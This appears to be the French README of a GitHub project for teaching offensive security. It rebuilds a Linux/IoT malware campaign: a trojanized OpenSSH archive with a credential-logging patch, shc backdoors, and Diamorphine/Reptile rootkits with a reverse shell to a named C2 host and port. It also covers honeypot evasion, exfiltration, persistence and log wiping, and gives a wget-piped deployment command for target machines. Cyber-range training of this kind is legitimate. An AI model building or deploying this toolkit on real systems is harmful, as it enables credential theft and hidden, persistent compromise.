Skip to content

About

🎓 Application de cybersécurité offensive

Resources

Contributing

Security policy

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

2 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Projet de Formation en Cybersécurité Offensive

🎯 Objectif

Ce projet développe un scénario pédagogique de cybersécurité offensive basé sur l'analyse d'un rapport de threat intelligence. Il reproduit une campagne d'attaque Linux/IoT utilisant un OpenSSH patché, un backdoor shell compilé (shc), des rootkits (Diamorphine/Reptile), et un bot IRC (ZiggyStarTux).

⚠️ IMPORTANT : Ce projet est destiné exclusivement à un environnement pédagogique contrôlé (cyberrange) pour l'enseignement de la cybersécurité offensive en Master 2.

📋 Fonctionnalités Principales

Tâche 2 : Package Core Attack Archive (openssh-8.0p1.tgz)

  • Archive maîtresse contenant les sources OpenSSH 8.0p1 légitimes
  • Patch malveillant (ss.patch) pour intercepter les credentials SSH
  • Script d'installation (inst.sh) avec détection d'architecture et évasion
  • Archive shell (vars.sh) auto-extractible avec payloads embarqués
  • Binaires backdoor multi-architectures (x86-64, arm4l, arm5l, i686)

Tâche 3 : Compilation Multi-Architecture Backdoor

  • Script orchestrateur (backdoor-orchestrator.sh) avec logique complète d'attaque
  • Compilation shc pour créer des binaires ELF multi-architectures
  • Support complet : x86_64, i686, arm4l, arm5l
  • Intégration automatique dans l'archive principale
  • Tests complets et validation des binaires

Tâche 4 : Script d'Installation Principal (inst.sh)

  • Script d'installation principal (inst.sh) avec orchestration complète
  • Détection d'architecture et sélection automatique du bon binaire
  • Détection de honeypot via /proc et évasion
  • Exfiltration d'informations système et réseau
  • Mécanismes de persistance SSH et cron
  • Mesures anti-concurrence et nettoyage des logs
  • Intégration complète avec les binaires de la tâche 3

Tâche 5 : Déploiement OpenSSH Patché & Interception des Credentials

  • Téléchargement et extraction de l'archive OpenSSH depuis le serveur de payload
  • Application du patch malveillant (ss.patch) aux sources OpenSSH
  • Compilation et installation du serveur SSH patché
  • Remplacement du service SSH et redémarrage automatique
  • Activation de l'accès root via SSH (PermitRootLogin)
  • Interception et journalisation des credentials SSH
  • Validation complète de la fonctionnalité d'interception

Tâche 6 : Intégration des Rootkits (Diamorphine/Reptile) pour Évasion

  • Diamorphine rootkit pour masquer les processus et fichiers avec le tag __R_TAG
  • Reptile rootkit avec reverse shell vers le serveur C2
  • Configuration C2 : rsh.sys-stat.download:4444
  • Compilation multi-architecture des modules kernel
  • Scripts d'installation automatique pour les rootkits
  • Intégration complète dans l'archive principale
  • Fonctionnalités d'évasion : masquage des processus, fichiers et connexions réseau

Composants Techniques

🔧 ss.patch

  • Modifie auth-passwd.c pour logger les credentials SSH
  • Active l'accès root via SSH
  • Stocke les informations dans /tmp/.ssh_creds

📦 vars.sh

  • Archive shell auto-extractible
  • Contient les payloads secondaires (ZiggyStarTux, lscan, zaz)
  • Déploie le bot IRC et configure la persistance
  • Nettoie les traces d'exécution

🚀 inst.sh

  • Script d'installation principal
  • Détection d'architecture et sélection du bon binaire
  • Détection de honeypot via /proc
  • Désactivation de l'historique shell
  • Exfiltration d'informations système
  • Mise en place de la persistance SSH
  • Mesures anti-concurrence
  • Nettoyage des logs

🏗️ Structure du Projet

projet-1/
├── src/
│   ├── payloads/          # Payloads et artefacts malveillants
│   ├── scripts/           # Scripts d'installation et d'orchestration
│   ├── patches/           # Patches OpenSSH malveillants
│   └── binaries/          # Binaires compilés multi-architectures
├── build/
│   ├── archives/          # Archives finales construites
│   └── compiled/          # Binaires compilés
├── docs/
│   └── technical/         # Documentation technique
├── tests/
│   └── unit/              # Tests unitaires et d'intégration
├── deployment/
│   ├── payload-server/    # Configuration serveur de payload
│   └── c2-server/         # Configuration serveur C2
└── .taskmaster/           # Gestion des tâches avec Taskmaster

🚀 Utilisation

🎯 Démarrage Rapide (Recommandé)

# Point d'entrée unique pour l'application
./start.sh

Ce script vous guide à travers toutes les options disponibles et exécute automatiquement tous les workflows nécessaires.

🔧 Construction Complète

# Construction de l'application complète en une commande
./workflow-complete.sh

Ce workflow unifié exécute automatiquement :

  • Task 3: Compilation Multi-Architecture Backdoors
  • Task 4: Script d'Installation Principal
  • Task 5: Patch OpenSSH & Interception Credentials
  • Task 6: Intégration Rootkits (Diamorphine/Reptile)

📋 Construction par Tâche (Avancé)

Si vous voulez construire une tâche spécifique :

# Task 3: Compilation Multi-Architecture
./workflow-task3.sh

# Task 4: Script d'Installation Principal
./workflow-task4.sh

# Task 5: Patch OpenSSH & Interception Credentials
./workflow-task5.sh

# Task 6: Intégration Rootkits
./workflow-task6.sh

🧪 Tests

# Test des rootkits
./tests/test-rootkits-final.sh

# Test du script d'installation
./tests/test-inst-main.sh

# Test de l'archive
./tests/test-archive.sh

📊 Rapports

# Voir tous les rapports générés
ls build/*-report-*.txt

# Voir le rapport final de l'application
cat build/application-complete-report-*.txt

🎓 Utilisation Finale (Déploiement)

Une fois l'application construite :

  1. Déployer l'archive sur votre serveur de payload
  2. Sur la machine cible :
    wget -qO- http://votre-serveur/openssh-8.0p1.tgz | tar -xz
    cd openssh-8.0p1 && ./inst.sh

1. Construction de l'archive (Méthode manuelle)

# Rendre le script de build exécutable
chmod +x build-archive.sh

# Construire l'archive openssh-8.0p1.tgz
./build-archive.sh

2. Test de l'archive

# Rendre le script de test exécutable
chmod +x tests/test-archive.sh

# Tester l'archive construite
./tests/test-archive.sh

3. Gestion des tâches avec Taskmaster

# Voir les tâches disponibles
task-master list

# Voir la prochaine tâche à travailler
task-master next

# Décomposer une tâche en sous-tâches
task-master expand --id=2 --research --force

# Marquer une tâche comme terminée
task-master set-status --id=2 --status=done

4. Compilation Multi-Architecture (Tâche 3)

# Workflow complet pour la tâche 3
./workflow-task3.sh

# Ou étapes individuelles :
./build-backdoor.sh          # Compiler les binaires
./tests/test-backdoor.sh     # Tester les binaires
./deploy-backdoor.sh         # Déployer dans l'archive

5. Script d'Installation Principal (Tâche 4)

# Workflow complet pour la tâche 4
./workflow-task4.sh

# Ou étapes individuelles :
./tests/test-inst-main.sh    # Tester le script d'installation
./deploy-inst-main.sh        # Déployer dans l'archive

6. Déploiement OpenSSH Patché (Tâche 5)

# Workflow complet pour la tâche 5
./workflow-task5.sh

# Ou étapes individuelles :
./tests/test-task5-openssh.sh    # Tester la fonctionnalité OpenSSH
./deploy-task5-openssh.sh        # Déployer dans l'archive

7. Intégration des Rootkits (Tâche 6)

# Workflow complet pour la tâche 6
./workflow-task6.sh

# Ou étapes individuelles :
./tests/test-rootkits.sh         # Tester les rootkits
./build-rootkits.sh              # Compiler les rootkits
./deploy-rootkits.sh             # Déployer dans l'archive

🔒 Sécurité et Éthique

⚠️ Avertissements Importants

  • Usage exclusivement pédagogique dans un environnement contrôlé
  • Ne jamais utiliser sur des systèmes de production
  • Respecter les lois locales sur la cybersécurité
  • Autorisation écrite requise avant tout test

🛡️ Mesures de Sécurité

  • Environnement isolé (cyberrange)
  • Machines virtuelles dédiées
  • Réseaux VLAN séparés
  • Snapshots pour restauration rapide
  • Monitoring et logging complets

📚 Documentation Technique

Rapport de Threat Intelligence

Le projet est basé sur l'analyse d'un rapport de threat intelligence décrivant une campagne d'attaque réelle utilisant :

  • OpenSSH patché pour l'interception de credentials
  • Backdoor shell compilé avec shc
  • Rootkits Diamorphine et Reptile
  • Bot IRC ZiggyStarTux pour le C2
  • Scripts de mouvement latéral (lscan, zaz)

Architecture Technique

  • VM Cible : Linux avec SSH faible
  • VM Serveur de Payload : Nginx/Apache hébergeant les archives
  • VM C2 : Docker + serveur IRC
  • VM Cible Secondaire : Pour le mouvement latéral
  • Orchestrateur : Ansible/Terraform pour le provisionnement

🧪 Tests et Validation

Tests Automatisés

  • Vérification de l'intégrité de l'archive
  • Test de l'extraction des composants
  • Validation de la syntaxe des scripts
  • Test des binaires multi-architectures

Tests d'Intégration

  • Déploiement complet du scénario
  • Test de l'interception des credentials
  • Validation de la persistance
  • Test du mouvement latéral

📈 Roadmap de Développement

Phase 1 - MVP (En cours)

  • Structure du projet
  • Tâche 2 : Package Core Attack Archive
  • Tâche 3 : Compilation Multi-Architecture
  • Tâche 4 : Script d'Installation Principal
  • Tâche 5 : Déploiement OpenSSH Patché
  • Tâche 6 : Intégration des Rootkits

Phase 2 - Persistance & Évasion

  • Tâche 7 : Nettoyage des Logs
  • Tâche 8 : Anti-Concurrence et Persistance SSH

Phase 3 - C2 & Opérations Botnet

  • Tâche 9 : Serveur C2 et Bot IRC
  • Tâche 10 : Scripts de Mouvement Latéral

🤝 Contribution

Ce projet est développé dans le cadre d'un cours de cybersécurité offensive. Pour contribuer :

  1. Respecter les bonnes pratiques de sécurité
  2. Documenter toutes les modifications
  3. Tester dans l'environnement contrôlé
  4. Suivre les guidelines éthiques

📞 Support

Pour toute question ou problème :

  • Consulter la documentation technique
  • Vérifier les logs de test
  • Contacter l'équipe pédagogique

⚠️ RAPPEL : Usage exclusivement pédagogique dans un environnement contrôlé. Respecter les lois et réglementations locales.

About

🎓 Application de cybersécurité offensive

Resources

Contributing

Security policy

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages